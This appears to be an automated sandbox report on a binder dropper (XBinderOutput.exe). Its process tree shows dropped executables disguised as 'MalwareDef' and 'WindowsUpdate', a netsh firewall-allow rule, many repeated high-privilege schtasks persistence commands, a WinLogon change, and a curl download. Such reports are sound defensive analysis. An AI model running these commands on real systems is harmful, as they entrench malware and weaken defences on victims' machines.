PID 4240 wrote to memory of 2620	4240	HolyCheck.exe	145
PID 4240 wrote to memory of 3100	4240	HolyCheck.exe	146
PID 2492 wrote to memory of 4388	2492	xdwdMalwareDef.exe	147
PID 4388 wrote to memory of 4904	4388	cmd.exe	149
PID 2492 wrote to memory of 548	2492	xdwdMalwareDef.exe	150
PID 548 wrote to memory of 5248	548	cmd.exe	152
PID 4240 wrote to memory of 920	4240	HolyCheck.exe	153
PID 4240 wrote to memory of 5944	4240	HolyCheck.exe	155
PID 4240 wrote to memory of 3152	4240	HolyCheck.exe	157
PID 4240 wrote to memory of 1264	4240	HolyCheck.exe	158
PID 4240 wrote to memory of 5432	4240	HolyCheck.exe	159
PID 2492 wrote to memory of 2676	2492	xdwdMalwareDef.exe	160
PID 2676 wrote to memory of 2884	2676	cmd.exe	162
PID 2492 wrote to memory of 6072	2492	xdwdMalwareDef.exe	163
PID 6072 wrote to memory of 3876	6072	cmd.exe	165
PID 4240 wrote to memory of 2340	4240	HolyCheck.exe	166
PID 4240 wrote to memory of 5676	4240	HolyCheck.exe	167
PID 4240 wrote to memory of 5856	4240	HolyCheck.exe	168
PID 2492 wrote to memory of 5008	2492	xdwdMalwareDef.exe	169
PID 5008 wrote to memory of 796	5008	cmd.exe	171
PID 2492 wrote to memory of 1096	2492	xdwdMalwareDef.exe	172
PID 1096 wrote to memory of 4700	1096	cmd.exe	174
PID 2492 wrote to memory of 5648	2492	xdwdMalwareDef.exe	175
PID 2492 wrote to memory of 3800	2492	xdwdMalwareDef.exe	178
PID 4240 wrote to memory of 4972	4240	HolyCheck.exe	177
PID 4240 wrote to memory of 2140	4240	HolyCheck.exe	179
PID 4240 wrote to memory of 1600	4240	HolyCheck.exe	180

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\XBinderOutput.exe
"C:\Users\Admin\AppData\Local\Temp\XBinderOutput.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3596
- C:\Users\Admin\AppData\Local\Temp\cheaasd.exe
  "C:\Users\Admin\AppData\Local\Temp\cheaasd.exe"
  2⤵
  - Modifies WinLogon for persistence
  - Executes dropped EXE
  - Drops file in Windows directory
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4492
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" netsh advfirewall firewall add rule name="oN{Vg2' g{Pjg"" dir=in action=allow program="C:\Windows\Sub\xdwdMalwareDef.exe" enable=yes & exit
    3⤵
    PID:4880
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2596
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4580
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1628
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
      4⤵
      PID:844
- - C:\Windows\Sub\xdwdMalwareDef.exe
    "C:\Windows\Sub\xdwdMalwareDef.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Drops file in Windows directory
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2492
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2992
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
        5⤵
        
        PID:3708
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1080
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3348
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3964
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
        5⤵
        
        PID:1224
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5780
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4196
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3404
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1768
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1432
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3156
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1588
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1532
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1220
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
        5⤵
        
        PID:3476
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4388
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4904
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
      4⤵
      Suspicious use of WriteProcessMemory
      PID:548
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5248
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2676
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
        5⤵
        
        PID:2884
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
      4⤵
      Suspicious use of WriteProcessMemory
      PID:6072
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3876
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5008
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
        5⤵
        
        PID:796
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1096
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
        5⤵
        
        PID:4700
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
      4⤵
      PID:5648
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
        5⤵
        
        PID:1828
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
      4⤵
      PID:3800
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
        5⤵
        
        PID:1592
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
      4⤵
      PID:4932
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:240
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
      4⤵
      PID:3224
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5820
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
      4⤵
      PID:1276
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
        5⤵
        
        PID:6084
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
      4⤵
      PID:5372
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1396
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
      4⤵
      PID:4668
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4128
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
      4⤵
      PID:4536
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
        5⤵
        
        PID:4304
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
      4⤵
      PID:5828
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
        5⤵
        
        PID:3200
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
      4⤵
      PID:2108
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1952
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
      4⤵
      PID:1712
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4176
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
      4⤵
      PID:1404
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
        5⤵
        
        PID:3312
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
      4⤵
      PID:4576
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
        5⤵
        
        PID:4432
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
      4⤵
      PID:3476
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
        5⤵
        
        PID:688
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
      4⤵
      PID:4184
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5560
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
      4⤵
      PID:2368
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
        5⤵
        
        PID:4148
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
      4⤵
      PID:5824
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1160
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
      4⤵
      PID:4688
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4168
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
      4⤵
      PID:4624
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
        5⤵
        
        PID:1164
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
      4⤵
      PID:4356
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:616
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
      4⤵
      PID:4560
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5072
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
      4⤵
      PID:4628
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
        5⤵
        
        PID:5044
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
      4⤵
      PID:4784
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
        5⤵
        
        PID:3144
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
      4⤵
      PID:3276
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
        5⤵
        
        PID:3420
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
      4⤵
      PID:5512
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:244
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
      4⤵
      PID:5256
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5208
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
      4⤵
      PID:6636
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
        5⤵
        
        PID:6672
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
      4⤵
      PID:6688
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:6728
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
      4⤵
      PID:7008
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
        5⤵
        
        PID:7080
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
      4⤵
      PID:7036
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:7088
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
      4⤵
      PID:7524
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:7648
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
      4⤵
      PID:7540
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
        5⤵
        
        PID:7640
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
      4⤵
      PID:668
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
        5⤵
        
        PID:1180
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
      4⤵
      PID:5844
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4700
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
      4⤵
      PID:6292
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
        5⤵
        
        PID:4168
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
      4⤵
      PID:7548
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4616
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
      4⤵
      PID:4992
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
        5⤵
        
        PID:5068
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
      4⤵
      PID:7004
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
        5⤵
        
        PID:7376
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
      4⤵
      PID:6312
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
        5⤵
        
        PID:824
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
      4⤵
      PID:4508
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
        5⤵
        
        PID:7724
- C:\Users\Admin\AppData\Local\Temp\HolyCheck.exe
  "C:\Users\Admin\AppData\Local\Temp\HolyCheck.exe"
  2⤵
  - Executes dropped EXE
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:4240
- - C:\Windows\system32\curl.exe
    C:\Windows\system32\curl.exe -L --fail --silent --show-error --ssl-no-revoke --tcp-nodelay -C - --retry 1 --retry-delay 1 --retry-connrefused --speed-limit 14336 --speed-time 3 --connect-timeout 5 --max-time 300 -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0 Safari/537.36" -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,application/octet-stream,*/*;q=0.8" -H "Accept-Language: ru-RU,ru;q=0.9,en-US;q=0.7,en;q=0.6" -H "Accept-Encoding: identity" -o C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview.zip.part https://www.nirsoft.net/utils/recentfilesview.zip
    3⤵
    PID:3312
- - C:\Windows\system32\curl.exe
